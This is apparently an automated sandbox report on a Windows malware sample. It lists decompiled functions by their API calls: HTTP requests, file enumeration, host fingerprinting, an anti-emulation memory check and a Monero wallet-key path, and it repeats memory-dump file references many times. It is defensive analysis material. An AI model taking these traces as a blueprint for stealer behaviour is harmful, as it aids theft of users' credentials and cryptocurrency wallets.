Associated: 00000000.00000002.2385540740.000000000051B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000051E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.000000000065E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000007D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008B4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386267419.00000000008F3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386390337.0000000000A88000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386410211.0000000000A89000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: CrackInternetlstrlen
String ID: <
API String ID: 1274457161-4251816714
Opcode ID: 5fdd94e77846837cc11410213ff77e8793c642cb65e6387f8ab86153df8e694f
Instruction ID: cf5042233949e4b52ce804e24df587e80f64a9ca7c121a52de773dca346e1c3c
Opcode Fuzzy Hash: 5fdd94e77846837cc11410213ff77e8793c642cb65e6387f8ab86153df8e694f
Instruction Fuzzy Hash: F0216DB5D00208ABDF10DFA5E845ADE7B79FF05320F108629F925A72C0EB706A09CF91

Function 004151F0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50COMMON

Download Yara Rule

APIs

Part of subcall function 0041A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0041A7E6

Part of subcall function 00406280: InternetOpenA.WININET(00420DFE,00000001,00000000,00000000,00000000), ref: 004062E1
Part of subcall function 00406280: StrCmpCA.SHLWAPI(?,013FFA98), ref: 00406303
Part of subcall function 00406280: InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00406335
Part of subcall function 00406280: HttpOpenRequestA.WININET(00000000,GET,?,013FF490,00000000,00000000,00400100,00000000), ref: 00406385
Part of subcall function 00406280: InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 004063BF
Part of subcall function 00406280: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 004063D1

StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00415228

Strings

ERROR, xrefs: 0041521A
ERROR, xrefs: 00415273

Memory Dump Source

Source File: 00000000.00000002.2385540740.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2385519897.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000045A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000050F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000051B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000051E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.000000000065E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000007D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008B4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386267419.00000000008F3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386390337.0000000000A88000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386410211.0000000000A89000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: Internet$HttpOpenRequest$ConnectOptionSendlstrcpy
String ID: ERROR$ERROR
API String ID: 3287882509-2579291623
Opcode ID: 68903d0483a5cfddd37e4e678035d1cc38455bcd0da457ff09669bb0dc953b82
Instruction ID: 74302943fe5589af4790b43ef38c2dd3b69765dcd24c28c5b90e35499643ece9
Opcode Fuzzy Hash: 68903d0483a5cfddd37e4e678035d1cc38455bcd0da457ff09669bb0dc953b82
Instruction Fuzzy Hash: 2D113330901008ABCB14FF61DD52AED7338AF50354F90416EF81A5A5D2EF38AB56CA9A

Function 00414F40 Relevance: 5.1, APIs: 4, Instructions: 70stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00418DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00418E0B

lstrcat.KERNEL32(?,00000000), ref: 00414F7A
lstrcat.KERNEL32(?,00421070), ref: 00414F97
lstrcat.KERNEL32(?,013F8B50), ref: 00414FAB
lstrcat.KERNEL32(?,00421074), ref: 00414FBD

Part of subcall function 00414910: wsprintfA.USER32 ref: 0041492C
Part of subcall function 00414910: FindFirstFileA.KERNEL32(?,?), ref: 00414943

Part of subcall function 00414910: StrCmpCA.SHLWAPI(?,00420FDC), ref: 00414971
Part of subcall function 00414910: StrCmpCA.SHLWAPI(?,00420FE0), ref: 00414987
Part of subcall function 00414910: FindNextFileA.KERNEL32(000000FF,?), ref: 00414B7D
Part of subcall function 00414910: FindClose.KERNEL32(000000FF), ref: 00414B92

Memory Dump Source

Source File: 00000000.00000002.2385540740.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2385519897.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000045A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000050F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000051B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000051E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.000000000065E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000007D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008B4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386267419.00000000008F3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386390337.0000000000A88000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386410211.0000000000A89000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$Find$File$CloseFirstFolderNextPathwsprintf
String ID:
API String ID: 2667927680-0
Opcode ID: 6ae6a6c9707606c251df6a0a0b62562a0f5422e25b676fc1c75da9cbef1ea09b
Instruction ID: b2f553c39a7574946245b6cc91baeb706efbd34a5fe7bafabb54328a91102e52
Opcode Fuzzy Hash: 6ae6a6c9707606c251df6a0a0b62562a0f5422e25b676fc1c75da9cbef1ea09b
Instruction Fuzzy Hash: FA213DBAA402047BC714FBF0EC46FED333DAB55300F40455DB649920C1EE7896C88B96

Function 00410740 Relevance: 4.7, APIs: 3, Instructions: 217COMMON

Download Yara Rule

APIs

StrCmpCA.SHLWAPI(00000000,013F8B30), ref: 0041079A
StrCmpCA.SHLWAPI(00000000,013F8BB0), ref: 00410866
StrCmpCA.SHLWAPI(00000000,013F8C70), ref: 0041099D

Part of subcall function 0041A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0041A7E6

Memory Dump Source

Source File: 00000000.00000002.2385540740.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2385519897.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000045A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000050F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000051B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000051E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.000000000065E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000007D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008B4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386267419.00000000008F3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386390337.0000000000A88000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386410211.0000000000A89000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy
String ID:
API String ID: 3722407311-0
Opcode ID: a5d66b2644c65ab9bdf954502062ac1733e715023f6aadbc88600d16ddaa24d7
Instruction ID: 94d948ae3f98129d28702617e668470e7ead908e0178ded6cd69974dbc9b1d9a
Opcode Fuzzy Hash: a5d66b2644c65ab9bdf954502062ac1733e715023f6aadbc88600d16ddaa24d7
Instruction Fuzzy Hash: 3991C975A101089FCB28EF65D991BED77B5FF94304F40852EE8099F281DB349B46CB86

Function 00410765 Relevance: 4.7, APIs: 3, Instructions: 197COMMON

Download Yara Rule

APIs

StrCmpCA.SHLWAPI(00000000,013F8B30), ref: 0041079A
StrCmpCA.SHLWAPI(00000000,013F8BB0), ref: 00410866
StrCmpCA.SHLWAPI(00000000,013F8C70), ref: 0041099D

Part of subcall function 0041A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0041A7E6

Memory Dump Source

Source File: 00000000.00000002.2385540740.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2385519897.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000045A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000050F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000051B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000051E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.000000000065E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000007D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008B4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386267419.00000000008F3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386390337.0000000000A88000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386410211.0000000000A89000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy
String ID:
API String ID: 3722407311-0
Opcode ID: 9797d3c34c78882342ca8bbf4d264ccb68f926c0f15efb9d66068dd5b4636274
Instruction ID: eaeb4c1bfeb24d12610814888c89f1e8d39eb2be5be33b2b9933dc38047eb686
Opcode Fuzzy Hash: 9797d3c34c78882342ca8bbf4d264ccb68f926c0f15efb9d66068dd5b4636274
Instruction Fuzzy Hash: 6081BA75B101049FCB18EF65C991AEDB7B6FF94304F50852EE8099F281DB349B46CB86

Function 004178E0 Relevance: 4.5, APIs: 3, Instructions: 40memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00417910
RtlAllocateHeap.NTDLL(00000000), ref: 00417917
GetComputerNameA.KERNEL32(?,00000104), ref: 0041792F

Memory Dump Source

Source File: 00000000.00000002.2385540740.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2385519897.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000045A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000050F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000051B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000051E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.000000000065E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000007D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008B4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386267419.00000000008F3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386390337.0000000000A88000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386410211.0000000000A89000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateComputerNameProcess
String ID:
API String ID: 1664310425-0
Opcode ID: 655548885853275668edecfa1cfdfba2d4285fba1d09bdc7eb36c2d1d55ec877
Instruction ID: 452d18c19ae851532a1d010ea63a4611fd0250a2e86211d30d2d96ca9096ca29
Opcode Fuzzy Hash: 655548885853275668edecfa1cfdfba2d4285fba1d09bdc7eb36c2d1d55ec877
Instruction Fuzzy Hash: 220186F1A48204EFD700DF94DD45BAABBB8FB05B11F10425AF545E3280C37859448BA6

Function 00419470 Relevance: 4.5, APIs: 3, Instructions: 29COMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32(00000410,00000000,?), ref: 00419484
K32GetModuleFileNameExA.KERNEL32(00000000,00000000,?,00000104), ref: 004194A5
CloseHandle.KERNEL32(00000000), ref: 004194AF

Memory Dump Source

Source File: 00000000.00000002.2385540740.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2385519897.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000045A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000050F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000051B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000051E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.000000000065E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000007D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008B4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386267419.00000000008F3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386390337.0000000000A88000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386410211.0000000000A89000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: CloseFileHandleModuleNameOpenProcess
String ID:
API String ID: 3183270410-0
Opcode ID: e6095971595455a4de3a8a930ec904699319ffc5b44768cd80a426f21a74fb31
Instruction ID: 2eda5d4ec063f04fe8048fb8b0a850fc323e1bbd58c3ab932ea79d0f281d5f74
Opcode Fuzzy Hash: e6095971595455a4de3a8a930ec904699319ffc5b44768cd80a426f21a74fb31
Instruction Fuzzy Hash: BEF03A7994020CFBDB15DFA4DC4AFEA7778EB08310F004498BA1997290D6B4AE85CB95

Function 00401110 Relevance: 4.5, APIs: 3, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000), ref: 0040112B
VirtualAllocExNuma.KERNEL32(00000000), ref: 00401132
ExitProcess.KERNEL32 ref: 00401143

Memory Dump Source

Source File: 00000000.00000002.2385540740.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2385519897.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000045A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000050F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000051B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000051E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.000000000065E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000007D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008B4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386267419.00000000008F3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386390337.0000000000A88000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386410211.0000000000A89000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: Process$AllocCurrentExitNumaVirtual
String ID:
API String ID: 1103761159-0
Opcode ID: 3cbd8cc13bf7dc70ab035dff78f9dd202cda3002ce084c09b8f89ce2de56700b
Instruction ID: 516f97497d3ee46bc55051264f2a31c9d8efacdbd59bd60d04d859dfb32d17c4
Opcode Fuzzy Hash: 3cbd8cc13bf7dc70ab035dff78f9dd202cda3002ce084c09b8f89ce2de56700b
Instruction Fuzzy Hash: 76E08674985308FFE7106BE09C0AB0976B9EB05B05F101055F7087A1D0C6B826009699

Function 00411A10 Relevance: 3.9, APIs: 2, Instructions: 857stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A740: lstrcpy.KERNEL32(00420E17,00000000), ref: 0041A788

Part of subcall function 0041A9B0: lstrlen.KERNEL32(?,013F8BD0,?,\Monero\wallet.keys,00420E17), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0041AA12

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,00420E17), ref: 0041A905

Part of subcall function 00417500: GetWindowsDirectoryA.KERNEL32(?,00000104), ref: 00417542
Part of subcall function 00417500: GetVolumeInformationA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0041757F
Part of subcall function 00417500: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00417603
Part of subcall function 00417500: RtlAllocateHeap.NTDLL(00000000), ref: 0041760A

Part of subcall function 0041A920: lstrcpy.KERNEL32(00000000,?), ref: 0041A972
Part of subcall function 0041A920: lstrcat.KERNEL32(00000000), ref: 0041A982

Part of subcall function 00417690: GetProcessHeap.KERNEL32(00000000,00000104), ref: 004176A4
Part of subcall function 00417690: RtlAllocateHeap.NTDLL(00000000), ref: 004176AB

Part of subcall function 004177C0: GetCurrentProcess.KERNEL32(00000000,?,?,?,?,?,00000000,0041DBC0,000000FF,?,00411C99,00000000,?,013FE0F0,00000000,?), ref: 004177F2
Part of subcall function 004177C0: IsWow64Process.KERNEL32(00000000,?,?,?,?,?,00000000,0041DBC0,000000FF,?,00411C99,00000000,?,013FE0F0,00000000,?), ref: 004177F9

